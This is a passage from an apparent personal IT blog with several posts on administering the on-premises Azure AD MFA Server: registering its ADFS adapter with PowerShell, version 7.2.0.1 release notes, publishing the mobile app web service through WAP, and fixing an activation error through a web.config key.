For this version of the MFA server:

  • you need to have MS-KB2919355 installed on the MFA server before starting the installation (check with Get-HotFix KB2919355)
  • you need to have the following installed on any server with any MFA server component: The Visual C++ 2015 Update 3 Redistribution packages are also available (x86, x64),

Before upgrading/installing the new ADFS adapter, you need to unselect and unregister the previous ADFS adapter

  • Using WID?: Execute the commands below on primary ADFS server and wait at least 5 minutes to allow WID replication to take place and finish
  • Using SQL?: Execute the commands below on any ADFS server

# Unselecting The Use Of Azure AD MFA Adapter To Be Listed
$listOfCurrentMFAProviders = (Get-AdfsGlobalAuthenticationPolicy).AdditionalAuthenticationProvider
$listOfNewMFAProviders = $listOfCurrentMFAProviders
$listOfNewMFAProviders.Remove("WindowsAzureMultiFactorAuthentication")  # Use THIS line if the old version is v6.3.0 or lower
$listOfNewMFAProviders.Remove("AzureMfaServerAuthentication")  # Use THIS line if the old version is v7.0.0.9 or higher
Set-AdfsGlobalAuthenticationPolicy -AdditionalAuthenticationProvider $listOfNewMFAProviders

# Unregistering The Azure AD MFA Adapter Within ADFS
Unregister-AdfsAuthenticationProvider -Name WindowsAzureMultiFactorAuthentication  # Use THIS line if the old version is v6.3.0 or lower
Unregister-AdfsAuthenticationProvider -Name AzureMfaServerAuthentication  # Use THIS line if the old version is v7.0.0.9 or higher

After installing the new ADFS adapter, you need to configure it, register it and configure it within ADFS

  • Using WID?: EDIT The file “MultiFactorAuthenticationAdfsAdapter.config” on the primary ADFS server as explained below (use your previous settings where applicable), and SAVE it afterwards
  • Using SQL?: EDIT The file “MultiFactorAuthenticationAdfsAdapter.config” on any ADFS server as explained below (use your previous settings where applicable), and SAVE it afterwards

FILE: MultiFactorAuthenticationAdfsAdapter.config

<ConfigurationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">

    <UseWebServiceSdk><true OR false></UseWebServiceSdk>

    <WebServiceSdkUrl><URL to the MFA Web Service SDK></WebServiceSdkUrl>

    <WebServiceSdkUsername><the account (DOMAIN\SAMACCOUNTNAME) the user portal is also using in its web.config></WebServiceSdkUsername>

    <WebServiceSdkPassword><the password of the account above the user portal is also using in its web.config></WebServiceSdkPassword>

    <WebServiceSdkCertificateThumbprint><thumbprint of certificate of web service sdk></WebServiceSdkCertificateThumbprint>

    <AutomaticallyTriggerUserDefaultMethod><true OR false></AutomaticallyTriggerUserDefaultMethod>

    <TestMode><true OR false></TestMode>

</ConfigurationData>

Now we need to register and configure the new ADFS adapter within ADFS

# Registering The Azure AD MFA Adapter Within ADFS

$typeName = "pfadfs.AuthenticationAdapter, MultiFactorAuthAdfsAdapter, Version=7.3.0.3, Culture=neutral, PublicKeyToken=f300afd708cefcd3"
Register-AdfsAuthenticationProvider -TypeName $typeName -Name AzureMfaServerAuthentication –ConfigurationFilePath "<Provide Path To MultiFactorAuthenticationAdfsAdapter.config>"

# Selecting The Use Of Azure AD MFA Adapter To Be Listed
$listOfCurrentMFAProviders = (Get-AdfsGlobalAuthenticationPolicy).AdditionalAuthenticationProvider
$listOfNewMFAProviders = $listOfCurrentMFAProviders + "AzureMfaServerAuthentication"
Set-AdfsGlobalAuthenticationPolicy -AdditionalAuthenticationProvider $listOfNewMFAProviders

# Configuring Custom Display Name And Custom Description
Set-AdfsAuthenticationProviderWebContent -Name "AzureMfaServerAuthentication" -DisplayName "<Provide Custom DisplayName>" -Description "<Provide Custom Description>"

Cheers,
Jorge
———————————————————————————————
* This posting is provided "AS IS" with no warranties and confers no rights!
* Always evaluate/test yourself before using/implementing this!
* DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
———————————————————————————————
############### Jorge’s Quest For Knowledge #############
#########
http://JorgeQuestForKnowledge.wordpress.com/ ########
———————————————————————————————

Posted in Active Directory Federation Services (ADFS), Azure AD MFA Adapter, Multi-Factor AuthN, Windows Azure Active Directory | Leave a Comment »

(2017-01-29) Azure AD MFA Server v7.2.0.1 Has Been Released

Posted by Jorge on 2017-01-29


Microsoft has released a newer version of the Azure AD MFA server. If you start the MFA Server Console you should see a notification about a newer version being available.

Release notes: https://pfweb.phonefactor.net/install/7.2.0.1/release_notes.txt

Version 7.2.0.1 of the Azure Multi-Factor Authentication Server adds the following additional functionality:

  • Directory integration support for Oracle LDAP
  • Fixed bug with trusted IPs in User Portal when selectable authentication methods are used
  • Web Service SDK Logging
  • Reduce MultiFactorAuthSvc.log authentication entries

Known Issues:

  • Windows Authentication for Terminal Services is not supported for Windows Server 2012 R2

Upgrade Considerations:

  • All other features and components are backwards-compatible with all previous versions

More information about Azure AD MFA Server can be found here.

Upgrade steps can be found here.

For this version of the MFA server, you need to have the following installed on any server with any MFA server conponent: The Visual C++ 2015 Update 3 Redistribution packages are also available (x86, x64),

Cheers,
Jorge
———————————————————————————————
* This posting is provided "AS IS" with no warranties and confers no rights!
* Always evaluate/test yourself before using/implementing this!
* DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
———————————————————————————————
############### Jorge’s Quest For Knowledge #############
#########
http://JorgeQuestForKnowledge.wordpress.com/ ########
———————————————————————————————

Posted in Multi-Factor AuthN, Windows Azure Active Directory | Leave a Comment »

(2016-09-17) Publishing Azure AD MFA Mobile App Web Service To The Outside

Posted by Jorge on 2016-09-17


For ADFS or any other application (Windows, Radius, IIS or LDAP) you have implemented the on-premises Azure AD MFA server to be able to use phone-based and/or sms-based phone authentication with or without a secret PIN code. During the installation/configuration of the Azure AD MFA server you used an internal URL instead of an external URL that is also available on the inside. Now somebody asked you to use the mobile app as the second factor and with that  request you must publish the Mobile App Web Service to the outside so that mobile phones can use when requiring to activate the mobile app on the mobile phone.

Let’s make the following assumptions:

First you need to publish the mobile app web service to the outside. For that I’ll assume you are using ADFS and WAP, so we’ll publish it through WAP.

On the WAP execute the following PowerShell CMDlet to publish the mobile app webs service through the WAP using pass through authentication:

Add-WebApplicationProxyApplication -BackendServerUrl ‘https://mfa.company.local/MultiFactorAuthMobileAppWebService/ -ExternalCertificateThumbprint ‘62012C6DAFE7AE35ABD7D8A10896A1D427C0E6F4’ -ExternalUrl ‘https://mfa.company.com/MultiFactorAuthMobileAppWebService/ -Name ‘Azure AD MFA Mobile App Web Service’ -ExternalPreAuthentication PassThrough

After you logon to the Azure AD MFA User Portal, and assuming you already have configured the Azure AD MFA server so that users can use the mobile app, and choose to activate the mobile app, you see something like…

image

Figure 1: Activating The Azure AD MFA Mobile App Through A Secure Web URL And A One-Time Activation Code

However, the URL displayed is not the external URL, but rather the internal URL that is not reachable my mobile devices. You could ignore that and still enter the information (the activation code and the external URL!) manually on your mobile phone, but of course you want it to display the external URL so that you can scan the QR-code.

To make it happen the Azure AD MFA User Portal displays the external URL instead of the internal URL, you need to edit the “web.config” of the MultiFactorAuth application. In that file look for “OVERRIDE_PHONE_APP_WEB_SERVICE_URL” and as the value provide the external URL. The only difference is the hostname in the URL, while the path remains unchanged.

image

Figure 2: The “web.config” Of The MultiFactorAuth Application Now With An External Web Service URL

After making this changing you should be able to activate the mobile app on your mobile phone through the WAP.

Cheers,
Jorge
———————————————————————————————
* This posting is provided "AS IS" with no warranties and confers no rights!
* Always evaluate/test yourself before using/implementing this!
* DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
———————————————————————————————
############### Jorge’s Quest For Knowledge #############
#########
http://JorgeQuestForKnowledge.wordpress.com/ ########
———————————————————————————————

Posted in Multi-Factor AuthN, Windows Azure Active Directory | 1 Comment »

(2016-09-13) Failing To Activate Mobile App Against The On-Premises Azure AD MFA Server

Posted by Jorge on 2016-09-13


You have setup the Azure AD MFA server, the Azure AD MFA User Portal, the Azure AD MFA MFA Mobile App Web Service and the Azure AD MFA Web Service.

You logon to the Azure AD MFA User Portal and then click on “Activate Mobile App” on the left side of the screen. In addition you click on [Generate New Activation Code] and you will see a screen similar to the one below

image

Figure 1: Activating The Azure AD MFA Mobile App Through A Secure Web URL And A One-Time Activation Code

On your mobile phone, you can now either choose specify the information yourself or you can just scan de QR-code. Whichever method you choose, you will see a similar message on your mobile phone as the one shown below. You can try as many times as you want, but unfortunately that will not help.

image

Figure 2: Activation Error On Your Mobile Phone

Activation failed. Please verify you have network connectivity and check the URL to ensure it is correct.

Error details: The operation couldn’t be completed. (Fault error –1.)

This error basically tells you something is wrong with the URL displayed previously on screen. The rest of the error is rather useless.

As the authenticator app will hit the mobile app web service URL, it is a good idea to put that URL in a browser to see what happens.

As soon as you do you might see the following error.

image

Figure 3: IIS Server Error For The MultiFactorAuthMobileAppWebService Application

Now this is something you can work with! Something appears to be wrong in the “web.config” of the MultiFactorAuthMobileAppWebService Application, so that is where you should look

image

Figure 4: The “web.config” Of The MultiFactorAuthMobileAppWebService Application WITHOUT The Required Key

So just before “</appSettings>”, add the following line

<add key="WEB_SERVICE_SDK_AUTHENTICATION_CLIENT_CERTIFICATE_THUMBPRINT" value=""/>

…so that it looks like the following

image

Figure 5: The “web.config” Of The MultiFactorAuthMobileAppWebService Application WITH The Required Key

When done, save the “web.config” of the MultiFactorAuthMobileAppWebService

Now you retry the URL in the browser and you should see something like…

image

Figure 6: The MultiFactorAuthMobileAppWebService Application Now Working Correctly

On your mobile phone, you can now retry the activation by either choosing to specify the information yourself or by just scanning de QR-code. Whichever method you choose, you should not succeed in activating the mobile app.

Cheers,
Jorge
———————————————————————————————
* This posting is provided "AS IS" with no warranties and confers no rights!
* Always evaluate/test yourself before using/implementing this!
* DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
———————————————————————————————
############### Jorge’s Quest For Knowledge #############
#########
http://JorgeQuestForKnowledge.wordpress.com/ ########
———————————————————————————————

Posted in Multi-Factor AuthN, Windows Azure Active Directory | 1 Comment »

 
%d bloggers like this: